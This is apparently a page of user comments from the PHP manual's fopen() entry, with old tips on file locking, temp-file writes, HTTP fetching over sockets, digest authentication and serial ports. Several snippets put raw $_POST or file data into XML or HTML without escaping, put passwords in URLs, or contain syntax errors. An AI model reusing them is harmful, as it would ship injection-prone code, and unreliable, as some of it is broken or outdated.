1. A file that´s to be accessed will first be copied to a temp-file directory and its last filemtime() is being stored in a PHP-variable. The temp-file gets a random filename, ensuring no other process is able to interfere with this particular temp-file.
2. When the temp-file has been changed/rewritten/whatever, there´ll be a check whether the filemtime() of the original file has been changed since we copied it into our temp-directory.
2.1. If filemtime() is still the same, the temp-file will just be renamed/moved to the original filename, ensuring the original file is never in a temporary state - only the complete previous state or the complete new state.
2.2. But if filemtime() has been changed while our PHP-process wanted to change its file, the temp-file will just be deleted and our new PHP-fileclose-function will return a FALSE, enabling whatever called that function to do it again (ie. upto 5 times, until it returns TRUE).

These are the functions I´ve written for that purpose:

<?php
$dir_fileopen = "../AN/INTERNAL/DIRECTORY/fileopen";

function randomid() {
    return time().substr(md5(microtime()), 0, rand(5, 12));
}

function cfopen($filename, $mode, $overwriteanyway = false) {
    global $dir_fileopen;
    clearstatcache();
    do {
        $id = md5(randomid(rand(), TRUE));
        $tempfilename = $dir_fileopen."/".$id.md5($filename);
    } while(file_exists($tempfilename));
    if (file_exists($filename)) {
        $newfile = false;
        copy($filename, $tempfilename);
    }else{
        $newfile = true;
    }
    $fp = fopen($tempfilename, $mode);
    return $fp ? array($fp, $filename, $id, @filemtime($filename), $newfile, $overwriteanyway) : false;
}

function cfwrite($fp,$string) { return fwrite($fp[0], $string); }

function cfclose($fp, $debug = "off") {
    global $dir_fileopen;
    $success = fclose($fp[0]);
    clearstatcache();
    $tempfilename = $dir_fileopen."/".$fp[2].md5($fp[1]);
    if ((@filemtime($fp[1]) == $fp[3]) or ($fp[4]==true and !file_exists($fp[1])) or $fp[5]==true) {
        rename($tempfilename, $fp[1]);
    }else{
        unlink($tempfilename);
        if ($debug != "off") echo "While writing, another process accessed $fp[1]. To ensure file-integrity, your changes were rejected.";
        $success = false;
    }
    return $success;
}
?>

$overwriteanyway, one of the parameters for cfopen(), means: If cfclose() is used and the original file has changed, this script won´t care and still overwrite the original file with the new temp file. Anyway there won´t be any writing-interference between two PHP processes, assuming there can be no absolute simultaneousness between two (or more) processes.
misc at n4te dot com 05-Oct-2007 06:21
The UTF-8 BOM is optional. PHP does not ignore it if it is present when reading UTF-8 encoded data. Here is a function that skips the BOM, if it exists.

<?php
// Reads past the UTF-8 bom if it is there.
function fopen_utf8 ($filename, $mode) {
    $file = @fopen($filename, $mode);
    $bom = fread($file, 3);
    if ($bom != b"\xEF\xBB\xBF")
        rewind($file, 0);
    else
        echo "bom found!\n";
    return $file;
}
?>
simon dot allen at swerve dot co dot nz 09-Apr-2007 07:56
using fopen to upload a file through ftp cannot overwrite that file - use curl instead
naidim at gmail dot com 28-Mar-2007 02:54
While PHP does not have a function to insert text into the middle of a file, it is not that complicated to do.

<?php
function addRSSItem($rssFile, $firstItem, $item){
    // Backup file
    if(!copy($rssFile, 'backup.rss')) die('Backup failed!');
    // Store file contents in array
    $arrFile = file($rssFile);
    // Open file for output
    if(($fh = fopen($rssFile,'w')) === FALSE){
        die('Failed to open file for writing!');
    }
    // Set counters
    $currentLine = 0;
    $cntFile = count($arrFile);
    // Write contents, inserting $item as first item
    while( $currentLine <= $cntFile ){
        if($currentLine == $firstItem) fwrite($fh, $item);
        fwrite($fh, $arrFile[$currentLine]);
        $currentLine++;
    }
    // Delete backup
    unlink('backup.rss');
}

$data = "    <item>\n<title>$_POST['title]</title>\n".
  "        <description>$_POST['description']</description>\n".
  "        <pubDate>$_POST['date']</pubDate>\n".
  "        <link>http://www.site.com/mp3s/".
  basename($_FILES['fullPath']['name'])."</link>".
  "        <enclosure url=\"http://www.site.com/mp3s/".
  basename($_FILES['fullPath']['name']).
  "\" length=\"$_FILES[fullPath][size]\" type=\"audio/mpeg\" />".
  "    </item>\n";
addRSSItem('/var/www/html/rss/podcast.rss',20,$data);
?>
andrew at NOSPAM dot neonsurge dot com 09-Feb-2007 06:22
My recent findings on high-performance fopen/fsockopen usage.

Note #1: The performance comparison below regarding curl is obsolete when utilizing certain things in this comment.  My performance tests download and upload about 97% as fast as curl with a custom non-socket blocking HTTP Transport class written for a high performance system in PHP5.

Note #2: fopen and fsockopen have a "feature' that always forces DNS resolution.  Check this code...

<?php for ($i = 0; $i < 50; $i++) {
    $errno = $errstr = "";
    //$ip = gethostbyname("php.net");  $a = fsockopen($ip,22,$errno,$errstr,10);  //FAST way
    $a = fsockopen("php.net",22,$errno,$errstr,10); //SLOW way
    $ab = fread($a,4096); unset($a, $ab);
} ?>

fsockopen() and fopen() always force php.net to be resolved every time and in this example above it resolves the name 50 seperate times and does not use the local cache.  To get around this, gethostbyname() does use your local DNS cache properly, it will not try to get the IP from your DNS server 50 times.  The above code for me to a personal server took 87 seconds the fast way, and 5.74 seconds the slow way, a 650% increase.  And this is single-threaded!  ;)

Note #3: I see a lot of notes and people mentioning non-blocking sockets, especially for HTTP transport.  I thought I would share a little from my experience.  First, the above command fsockopen() allows you to specify a timeout, after you check if it's  opened properly (as you should _always_) you just need to...

<?php stream_set_blocking($a,0);?>

From this point on certain considerations must be taken.  Remember you are not blocking anymore, so when you want to write or read a lot of data it will always return to you instantly.  Which is important since you need to check the return value of your writes and reads against how much you expect to read/write.  For reading if you do not know how long it is, checking for EOF works also.

This is in fact a neat feature and state, since you can now make a read/write loop to send/receive a lot of data and check the time/timeout value(s) constantly.  If that timeout is hit you can throw back errors properly to whatever function/method/code called your transport function/class.  The graceful failure with custom shorter failure times allows your application to continue, especially web-based applications where fopen alone and even curl under certain circumstances does not follow your requested timeouts, it will wait a full 60-90 seconds, depending on your OS.

Good ways to test a custom non-blocking timeout supported transport method described above is to make one first, and then transfer a large file with it, and halfway through unplug your network cable.  Curl or fopen/fread/fwrite alone will croak and make your applications wait a full 60-90 seconds, whereas a nice custom class will check if no data has been transferred for 15 seconds (or less!) and will fail gracefully with a error.

If anyone is interested in chatting about this feel free to contact me or add to this comment.
perrog at gmail dot com 21-Jan-2007 04:05
Note: If you have opened the file in append mode ("a" or "a+"), any data you write to the file will always be appended, regardless of the file position. But PHP distinguish between read and write position, and you may freely read at any position, but when you write it will always append at the end.

If you don't want that write restriction, open the file in read-write mode ("r+") and then start by moving the file pointer to the end.

<?php
if (($fp = fopen($filename, "r+") === FALSE) {
  // handle error
  exit;
}

if (fseek($fp, 0, SEEK_END) === -1) {
  // handle error
  exit;
}
?>
patryk dot szczyglowski at gmail dot com 20-Sep-2006 07:02
Watch out not to specify empty string as filename. It seems PHP is trying to get data from stdin which may end up in script timeout. It may not be trivial to find.

<?php
$fp = fopen('', 'r'); // wrong
?>
ceo at l-i-e dot com 10-Apr-2006 08:13
If you need fopen() on a URL to timeout, you can do like:
<?php
  $timeout = 3;
  $old = ini_set('default_socket_timeout', $timeout);
  $file = fopen('http://example.com', 'r');
  ini_set('default_socket_timeout', $old);
  stream_set_timeout($file, $timeout);
  stream_set_blocking($file, 0);
  //the rest is standard
?>
flobee 14-Jan-2006 07:58
download: i need a function to simulate a "wget url" and do not buffer the data in the memory to avoid thouse problems on large files:
<?php
function download($file_source, $file_target) {
        $rh = fopen($file_source, 'rb');
        $wh = fopen($file_target, 'wb');
        if ($rh===false || $wh===false) {
// error reading or opening file
           return true;
        }
        while (!feof($rh)) {
            if (fwrite($wh, fread($rh, 1024)) === FALSE) {
                   // 'Download error: Cannot write to file ('.$file_target.')';
                   return true;
               }
        }
        fclose($rh);
        fclose($wh);
        // No error
        return false;
    }
?>
info at b1g dot de 24-Oct-2005 04:54
Simple class to fetch a HTTP URL. Supports "Location:"-redirections. Useful for servers with allow_url_fopen=false. Works with SSL-secured hosts.

<?php
#usage:
$r = new HTTPRequest('http://www.example.com');
echo $r->DownloadToString();

class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port

    // scan url
    function _scan_url()
    {
        $req = $this->_url;

        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));

        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);

        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }

        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }

    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }

    // download URL to string
    function DownloadToString()
    {
        $crlf = "\r\n";

        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;

        // fetch
        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);

        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));

        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));

        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else
        {
            return($body);
        }
    }
}
?>
admin at sellchain dot com 17-Oct-2005 07:34
TIP: If you are using fopen and fread to read HTTP or FTP or Remote Files, and experiencing some performance issues such as stalling, slowing down and otherwise, then it's time you learned a thing called cURL.

Performance Comparison:

10 per minute for fopen/fread for 100 HTTP files
2000 per minute for cURL for 2000 HTTP files

cURL should be used for opening HTTP and FTP files, it is EXTREMELY reliable, even when it comes to performance.

I noticed when using too many scripts at the same time to download the data from the site I was harvesting from, fopen and fread would go into deadlock. When using cURL i can open 50 windows, running 10 URL's from each window, and getting the best performance possible.

Just a Tip :)
nefertari at nefertari dot be 20-Sep-2005 05:47
Important note:

You have always to use the real path name for a file with the command fopen [for example: fopen($filename, 'w')], never use a symbolic link, it will not work (unable to open $filename).
durwood at speakeasy dot NOSPAM dot net 06-Sep-2005 11:43
I couldn't for the life of me get a certain php script working when i moved my server to a new Fedora 4 installation. The problem was that fopen() was failing when trying to access a file as a URL through apache -- even though it worked fine when run from the shell and even though the file was readily readable from any browser.  After trying to place blame on Apache, RedHat, and even my cat and dog, I finally ran across this bug report on Redhat's website:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164700

Basically the problem was SELinux (which I knew nothing about) -- you have to run the following command in order for SELinux to allow php to open a web file:

/usr/sbin/setsebool httpd_can_network_connect=1

To make the change permanent, run it with the -P option:

/usr/sbin/setsebool -P httpd_can_network_connect=1

Hope this helps others out -- it sure took me a long time to track down the problem.
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 17-Aug-2005 01:11
If you are getting message "Warning: fopen(): URL file-access is disabled in the server configuration", you can use function below to get the content from a local or remote file.

Function uses CURL lib, follow the link to get help: http://www.php.net/curl

<?php
/*
   * @return string
   * @param string $url
   * @desc Return string content from a remote file
   * @author Luiz Miguel Axcar (lmaxcar@yahoo.com.br)
*/

function get_content($url)
{
    $ch = curl_init();

    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_HEADER, 0);

    ob_start();

    curl_exec ($ch);
    curl_close ($ch);
    $string = ob_get_contents();

    ob_end_clean();

    return $string;
}

#usage:
$content = get_content ("http://www.php.net");
var_dump ($content);
?>
ideacode 03-Aug-2005 07:28
Note that whether you may open directories is operating system dependent. The following lines:

<?php
// Windows ($fh === false)
$fh = fopen('c:\\Temp', 'r');

// UNIX (is_resource($fh) === true)
$fh = fopen('/tmp', 'r');
?>

demonstrate that on Windows (2000, probably XP) you may not open a directory (the error is "Permission Denied"), regardless of the security permissions on that directory.

On UNIX, you may happily read the directory format for the native filesystem.
abesharp at yahoo dot co dot uk 05-Apr-2005 04:12
This function has a basic implementation of HTTP Digest Authentication (as per RFC 2617) to get a file from a web server which requires digest authentication (as opposed to basic authentication - the difference being that, with basic, your password is sent to the server as plain text, whereas with digest, it is hashed with a server-supplied nonce to protect against sniffing and replay attacks).

You just supply the host (e.g www.example.com), the name of the file you want (e.g protected_page.html), and the necessary username and password, and the function returns the contents of the protected file (or the error message that the server sends, if you supplied the wrong credentials).

If the server only supports a QOP of auth-int (rather then auth) this function won't work, but can be easily modified with reference to the RFC at http://www.ietf.org/rfc/rfc2617.txt

<?php
function readHTTPDigestAuthenticatedFile($host,$file,$username,$password)
{
    if (!$fp=fsockopen($host,80, $errno, $errstr, 15))
        return false;

    //first do the non-authenticated header so that the server
    //sends back a 401 error containing its nonce and opaque
    $out = "GET /$file HTTP/1.1\r\n";
       $out .= "Host: $host\r\n";
       $out .= "Connection: Close\r\n\r\n";

     fwrite($fp, $out);

    //read the reply and look for the WWW-Authenticate element
    while (!feof($fp))
    {
        $line=fgets($fp, 512);

        if (strpos($line,"WWW-Authenticate:")!==false)
            $authline=trim(substr($line,18));
    }

    fclose($fp);

    //split up the WWW-Authenticate string to find digest-realm,nonce and opaque values
    //if qop value is presented as a comma-seperated list (e.g auth,auth-int) then it won't be retrieved correctly
    //but that doesn't matter because going to use 'auth' anyway
    $authlinearr=explode(",",$authline);
    $autharr=array();

    foreach ($authlinearr as $el)
    {
        $elarr=explode("=",$el);
        //the substr here is used to remove the double quotes from the values
        $autharr[trim($elarr[0])]=substr($elarr[1],1,strlen($elarr[1])-2);
    }

    foreach ($autharr as $k=>$v)
        echo("$k ==> $v\r\n");

    //these are all the vals required from the server
    $nonce=$autharr['nonce'];
    $opaque=$autharr['opaque'];
    $drealm=$autharr['Digest realm'];

    //client nonce can be anything since this authentication session is not going to be persistent
    //likewise for the cookie - just call it MyCookie
    $cnonce="sausages";

    //calculate the hashes of A1 and A2 as described in RFC 2617
    $a1="$username:$drealm:$password";$a2="GET:/$file";
    $ha1=md5($a1);$ha2=md5($a2);

    //calculate the response hash as described in RFC 2617
    $concat = $ha1.':'.$nonce.':00000001:'.$cnonce.':auth:'.$ha2;
    $response=md5($concat);

    //put together the Authorization Request Header
    $out = "GET /$file HTTP/1.1\r\n";
       $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n";
    $out .= "Cookie: cookie=MyCookie\r\n";
    $out .= "Authorization: Digest username=\"$username\", realm=\"$drealm\", qop=\"auth\", algorithm=\"MD5\", uri=\"/$file\", nonce=\"$nonce\", nc=00000001, cnonce=\"$cnonce\", opaque=\"$opaque\", response=\"$response\"\r\n\r\n";

    if (!$fp=fsockopen($host,80, $errno, $errstr, 15))
        return false;

    fwrite($fp, $out);

    //read in a string which is the contents of the required file
    while (!feof($fp))
    {
        $str.=fgets($fp, 512);
    }

    fclose($fp);

    return $str;
}

?>
nuno at ideianet dot pt 04-Mar-2005 05:03
In IIS you must add the group Authenticated Users with write and modify permissions in the file where you want to write if you are in a Protected directory (Basic or Digest authentication) and want to write to a file in a Unprotected directory (Anonymous Access) in order to get permission to do that. Otherwise you will get the message: PHP Warning: fopen(x.txt): failed to open stream: Permission denied in c:\web\x\x.php on line 3 PHP Warning: fwrite(): supplied argument is not a valid stream resource in c:\web\x\x.php on line 10
Thomas Candrian tc_ at gmx dot ch 11-Nov-2004 07:35
With this it isn't possible to get data from another port than 80 (and 443) - at least for me. Because of that I've made this function who gets data from every port you want using HTTP:

<?php;
function getcontent($server, $port, $file)
{
    $cont = "";
    $ip = gethostbyname($server);
    $fp = fsockopen($ip, $port);
    if (!$fp)
    {
        return "Unknown";
    }
    else
    {
        $com = "GET $file HTTP/1.1\r\nAccept: */*\r\nAccept-Language: de-ch\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nHost: $server:$port\r\nConnection: Keep-Alive\r\n\r\n";
        fputs($fp, $com);
        while (!feof($fp))
        {
            $cont .= fread($fp, 500);
        }
        fclose($fp);
        $cont = substr($cont, strpos($cont, "\r\n\r\n") + 4);
        return $cont;
    }
}
echo getcontent("www.myhost.com", "81", "/"));
?>

Works fine for me. Had to do this especially for a shoutcast server, which only delivered the HTML-file if the user-agent was given.
pflaume dot NOSPAM at NOSPAM dot gmx dot de 07-Nov-2004 02:31
fopen() and PROXY

I wondered why there is no possibility to use fopen() through a proxy in php. The solution posted above did not work for me.

This little function gets http through a given proxy:

<?php
function proxy_url($proxy_url)
{
    $proxy_name = '127.0.0.1';
    $proxy_port = 4001;
    $proxy_cont = '';

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)    {return false;}
    fputs($proxy_fp, "GET $proxy_url HTTP/1.0\r\nHost: $proxy_name\r\n\r\n");
    while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    return $proxy_cont;
}
?>
justin at redwiredesign dot com 14-Jul-2004 12:03
One thing worth noting is that if you use the fopen command to open an HTTP stream, and the URL you're trying to access is invalid or generates an error response, (i.e. 404 Not found), the fopen call will return false.
Jem Tallon 13-Apr-2004 03:11
If you're using fopen to open a URL that requires authorization, you might need to force a HTTP/1.0 request for it since fopen won't support HTTP/1.1 requests. You can do that by setting your user_agent to one that is known only to support HTTP/1.0 (most webservers will be configured to force HTTP/1.0 for some browsers). Here's what worked for me:

<?php
$returned=URLopen("http://$username:$password@example.com");

function URLopen($url)
{
        // Fake the browser type
        ini_set('user_agent','MSIE 4\.0b2;');

        $dh = fopen("$url",'r');
        $result = fread($dh,8192);
        return $result;
}
?>
php at gotdoof dot com 03-Apr-2004 08:19
Note that opening a fifo with fopen() will block the php process until data is sent to it. That means any function you have registered as a shutdown function (register_shutdown_function()) will not be called when the user disconnects, and the process will keep running in the background, waiting for input. I know of no way around this, besides using some other means of IPC.
richard dot quadling at carval dot co dot uk 04-Feb-2004 05:04
The issue involving some sites requiring a valid user-agent string when using fopen can easily be resolved by setting the user_agent string in the PHP.INI file.

If you do not have access to the PHP.INI file, then the use of

ini_set('user_agent','Mozilla: (compatible; Windows XP)');

should also work.

The actual agent string is up to you. If you want to identify to the sites that you are using PHP ...

ini_set('user_agent','PHP');

would do.

Regards,

Richard Quadling.
28-Jan-2004 11:34
If you are connecting to your ftp server through a router doing NAT (such as the Zyxel 128L prestige router/bridge we are using) by doing say an <?php fopen("ftp://ftpusername:ftppassword@example.com/".$file_name, "w") ?>, then this could fail. You will get php_hostconnect connection failed error. This is because fopen() function uses a passive ftp connection which the Zyxel router does not support, even though your ftp server may be configured to allow the passive connections which php fopen() function is using. Note that $file_name is the file we want to ftp to the remote server eg could be file.txt.

Thus an alternative would be to do create the file you want in a local directory of your machine or in the webserver where your php files reside eg use fwrite() as documented in the manual. Once you have the $file_name you want to ftp created, do the following:

<?php
ftp_connect($ftp_server);
//which can connect to the ftp server using an active connection.
ftp_login ($conn_id, $ftp_username."@".$ftp_server, $ftp_password);
$fp = fopen($PATH."".$file_name, 'r');
// eg. $fp = fopen("http://www.yourwebsite.com/".$file_name, 'r');
//turn off passive mode transfers
ftp_pasv ($conn_id, false);
//now upload $file_name
ftp_fput($conn_id, $file_name, $fp, FTP_ASCII));
?>

Your file should now be in your ftp server, having used an active connection.
sergiopaternoster at tiscali dot it 27-Nov-2003 05:11
If you want to open large files (more than 2GB) that's what I did and it works: you should recompile your php with the CFLAGS="-D_FILE_OFFSET_BITS=64" ./configure etc... This tells to your compiler (I tested only gcc on PHP-4.3.4 binary on Linux and Solaris) to make the PHP parser binary large file aware. This way fopen() will not give you the "Value too large for defined data type" error message.
God bless PHP
ciao
Sergio Paternoster
ken dot gregg at rwre dot com 25-Nov-2003 03:03
PHP will open a directory if a path with no file name is supplied. This just bit me. I was not checking the filename part of a concatenated string.

For example:

<?php
$fd = fopen('/home/mydir/' . $somefile, 'r');
?>

Will open the directory if $somefile = ''

If you attempt to read using the file handle you will get the binary directory contents. I tried append mode and it errors out so does not seem to be dangerous.

This is with FreeBSD 4.5 and PHP 4.3.1. Behaves the same on 4.1.1 and PHP 4.1.2. I have not tested other version/os combinations.
dan at cleandns dot com 19-Nov-2003 11:15
<?php
#going to update last users counter script since
#aborting a write because a file is locked is not correct.

$counter_file = '/tmp/counter.txt';
clearstatcache();
ignore_user_abort(true);     ## prevent refresh from aborting file operations and hosing file
if (file_exists($counter_file)) {
   $fh = fopen($counter_file, 'r+');
    while(1) {
      if (flock($fh, LOCK_EX)) {
         #$buffer = chop(fgets($fh, 2));
         $buffer = chop(fread($fh, filesize($counter_file)));
         $buffer++;
         rewind($fh);
         fwrite($fh, $buffer);
         fflush($fh);
         ftruncate($fh, ftell($fh));
         flock($fh, LOCK_UN);
         break;
      }
   }
}
else {
   $fh = fopen($counter_file, 'w+');
   fwrite($fh, "1");
   $buffer="1";
}
fclose($fh);

print "Count is $buffer";

?>
phpNO at SPAMperfectweb dot com 31-Jul-2003 01:39
I offer the following script for updating a counter, using methods gleaned from various posts on file operations...

<?php
$counter_file = 'somefile.txt';
clearstatcache();
ignore_user_abort(true);     ## prevent refresh from aborting file operations and hosing file
$fh = fopen($counter_file, 'r+b');     ## use 'r+b' so file can be read and written
if ($fh)
{
     if (flock($fh, LOCK_EX))     ## don't do anything unless lock is successful
     {
          $count = fread($fh, filesize($counter_file));
          rewind($fh);
          $count++;
          fwrite($fh, $count);
          fflush($fh);
          ftruncate($fh, ftell($fh));     ## better than truncating to 0 before writing, per 04-Mar-2003 comment below
          flock($fh, LOCK_UN);
     } else echo "Could not lock counter file '$counter_file'";
     fclose($fh);
} else  echo "Could not open counter file '$counter_file'";
ignore_user_abort(false);     ## put things back to normal

echo "counter is at $count";
?>
unshift at yahoo dot com 01-Jul-2003 04:58
It seems that fopen() errors when you attempt opening a url starting with HTTP:// as opposed to http:// - it is case sensitive.  In 4.3.1 anyway..."HTTP://", by not matching "http://" will tell the wrapper to look locally.  From the looks of the source, the same goes for HTTPS vs https, etc.
simon at gornall dot net 19-Jun-2003 12:24
If you're having problems with fopen("url...") but you can run 'host url' in a shell window and get the correct lookup, here's why...

This has had me banging my head against it all day - finally I found the answer buried in the bug reports, but figured it should really be more prominent!

The problem happens when you're on an ADSL line with DHCP (like our office)... When the ADSL modem renews the DHCP lease, you can also switch DNS servers, which confuses apache (and hence PHP) - meaning that you can't look up hosts from within PHP, even though you *can* from the commandline.... The short-term solution is to restart apache.

You'll get "php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in ..." messages as symptoms. Restart apache, and they're gone :-)

Simon
RobNar 17-Jun-2003 08:15
This is an addendum to ibetyouare at home dot com's note about Apache directory permissions.  If you are on a shared host and cannot tweak Apache's permissions directives then you might try setting the same thing in a .htaccess file.  Failing that, if you are having trouble just creating files then  set the directory permissions to allow writing (for whatever directory the file is supposed to be in) and include the following before fopen():

`touch /path/to/myfile/myfile.txt`;

That will usually create a new empty file that you can write to even when fopen fails. - PHP 4.3.0
Jhilton a at t nurv dot us 05-Jun-2003 12:54
Quick tip. If using fopen to make http requests that contain a querystring, it is advised that you urlencode() your values, else characters like @ can make fopen (or whatever wrapper it is using) throw an error.
04-Mar-2003 08:49
To overwrite a file with a new content without deleting it, and without changing the owner or access rights, it's best to not use:

<?php
$file = fopen($filename, 'r+b'); // binary update mode
//...
ftruncate($file, 0);
fwrite($file, $my_stuff);
//...
fclose($file);
?>

but instead the faster one:

<?php
$file = fopen($filename, 'r+b); // binary update mode
//...
rewind($file);
fwrite($file, $my_stuff);
fflush($file);
ftruncate($file, ftell($file));
//...
fclose($file);
?>

The reason is that truncating a file at size 0 forces the OS to deallocate all storage clusters used by the file, before you write your content which will be reallocated on disk.

The second code simply overwrites the existing content where it is already located on disk, and truncates any remaining bytes that may exist (if the new content is shorter than the old content). The "r+b" mode allows access for both read and write: the file can be kept opened after reading it and before rewriting the modified content.

It's particularly useful for files that are accessed often or have a size larger than a few kilobytes, as it saves lots of system I/O, and also limits the filesystem fragmentation if the updated file is quite large.

And this method also works if the file is locked exclusively once opened (but I would rather recommend using another empty file for locking purpose, opened with "a+" access mode, in "/var/lock/yourapp/*" or other fast filesystems where filelocks are easily monitored and where the webserver running PHP is allowed to create and update lock files, and not forgetting to close the lock file after closing the content file).
draconumpb at hotmail dot com 06-Dec-2002 03:37
I just used explode() as an alternative to fscanf, since my only delimiter was | (pipe). I was having problems with it, since I use it in my news-management script. I found that it cut the last variable I was using, $body, a bit short when I posted a long news post. This would've been a real problem for anybody trying to make news posts longer than a paragraph or so.

However, I found that when I used:
<?php list($variable1, $variable2, etc) = explode("|",$data); ?>
it didn't cut any variables short, so.. what I'm really trying to say here is that for people who are experiencing problems with parsing simple files (i.e with only a single, simple delimiter such as : or |) using the unecessarily complex fscanf() and sscanf() functions, explode() is definately the way to go.

<?php
function get_news($filepath, $newsid)
{
$datafile = fopen("$filepath/news/$newsid.txt","r");
$data = fread($datafile, 1000000);
list($author, $email, $date, $subject, $body) = explode("|",$data);
$body = stripslashes("$body");
$subject = stripslashes("$subject");
echo "<a href=\"mailto:$email\">$author</a> -- $date -- $subject<hr>$body<p>";
}
?>

sample file:

AdministratorMax|admin@example.com|Tuesday, March 5th @ 5:45 PM EST|Site Going Down Tomarrow|Well, folks, I\'m sorry to say that the site will indeed be down tomarrow for most of the day. Hang in there.

Output:

<a href="mailto:admin@example.com">AdministratorMax</a> -- Tuesday, March 5th -- Site Going Down Tomarrow<hr>Well, folks, I'm sorry to say that the site will indeed be down tomarrow for most of the day. Hang in there.

Thought that might be useful for anybody making a simple news-management script, ;)

By the way, feel free to correct me if I made any mistakes - I'm at my dad's work where I don't really have a way to check to see if it works or not. However, I use a more complex version of this on my portal project, and it works beautifully.
01-Jul-2002 09:57
Note that if specifying the optional 'b' (binary) mode, it appears that it cannot be the first letter for some unaccountable reason. In other words, "br" doesn't work, while "rb" is ok!
jared at dctkc dot com 22-Apr-2002 01:33
<?php
// HOW TO USE PHP TO WRITE TO YOUR SERIAL PORT: TWO METHODS
$serproxy=true;
if ($serproxy) {
    // Use this code in conjunction with SERPROXY.EXE
    // (http://www.lspace.nildram.co.uk/freeware.html)
    // which converts a Serial stream to a TCP/IP stream
    $fp = fsockopen ("localhost", 5331, $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr ($errno)";
    } else {
        $e = chr(27);
        $string  = $e . "A" . $e . "H300";
        $string .= $e . "V100" . $e . "XL1SATO";
        $string .= $e . "Q1" . $e . "Z";
        echo $string;
        fputs ($fp, $string );
        fclose ($fp);
    }
} elseif ($com1) {
    // Use this code to write directly to the COM1 serial port
    // First, you want to set the mode of the port. You need to set
    // it only once; it will remain the same until you reboot.
    // Note: the backticks on the following line will execute the
    // DOS 'mode' command from within PHP
    `mode com1: BAUD=9600 PARITY=N data=8 stop=1 xon=off`;
    $fp = fopen ("COM1:", "w+");
    if (!$fp) {
        echo "Uh-oh. Port not opened.";
    } else {
        $e = chr(27);
        $string  = $e . "A" . $e . "H300";
        $string .= $e . "V100" . $e . "XL1SATO";
        $string .= $e . "Q1" . $e . "Z";
        echo $string;
        fputs ($fp, $string );
        fclose ($fp);
    }
}
?>
15-Mar-2002 06:18
Also if you're server is useing htaccess to authticate users make sure to add the username and password to the http link you're trying to open. I forgot about this and took a while to find.
ie:

fopen("http://user:pass@www.example.com/mypage.php");
php at themastermind1 dot com 23-Oct-2001 10:37
I have found that I can do fopen("COM1:", "r+"); to open the comport in windows. You have to make sure the comport isn't already open or you will get a permission denied.

I am still playing around with this but you have to somehow flush what you send to the comport if you are trying to communicate realtime with a device.
keithm at aoeex dot NOSPAM dot com 31-Jul-2001 05:19
I was working on a consol script for win32 and noticed a few things about it.  On win32 it appears that you can't re-open the input stream for reading, but rather you have to open it once, and read from there on.  Also, i don't know if this is a bug or what but it appears that fgets() reads until the new line anyway.  The number of characters returned is ok, but it will not halt reading and return to the script.  I don't know of a work around for this right now, but i'll keep working on it.

This is some code to work around the close and re-open of stdin.

<?php
function read($length='255'){
    if (!isset($GLOBALS['StdinPointer'])){
        $GLOBALS['StdinPointer']=fopen("php://stdin","r");
    }
    $line=fgets($GLOBALS['StdinPointer'],$length);
    return trim($line);
}
echo "Enter your name: ";
$name=read();
echo "Enter your age: ";
$age=read();
echo "Hi $name, Isn't it Great to be $age years old?";
@fclose($StdinPointer);
?>
icon at mricon dot com 09-Nov-1999 02:44
If you're running PHP as apache module, it will always write files as "nobody", "www", "httpd", (or whatever user your webserver runs as) unless you specify a different user/group in httpd.conf, or compile apache with suexec support.
However, if you run PHP as a CGI wrapper, you may setuid the PHP executable to whatever user you wish (*severe* security issues apply). If you really want to be able to su to other user, I recommend compiling with suexec support.
AFAIK, PHP can't NOT use SuEXEC if apache does. If PHP is configured as an apache module it will act as whatever user the apache is. If apache SuEXEC's to otheruser:othergroup (e.g. root:root), that's what PHP will write files as, because it acts as a part of apache code. I suggest you double-check your SuEXEC configuration and settings. Note: you can't su to another user within the PHP code -- it has to be an apache directive, either through <VirtualHost>, or through .htaccess. Also note: I'm not sure how it all works (if it works at all) on Win32 platforms.
Check www.apache.org to see how it's done.
fnmatch
fpassthru
Filesystem Functions


Output all remaining data on a file pointer

fopen
fputcsv
Filesystem Functions
PHP Manual

fpassthru

(PHP 4, PHP 5)

fpassthru — Output all remaining data on a file pointer

Description

int fpassthru ( resource $handle )

Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.

You may need to call rewind() to reset the file pointer to the beginning of the file if you have already written data to the file.

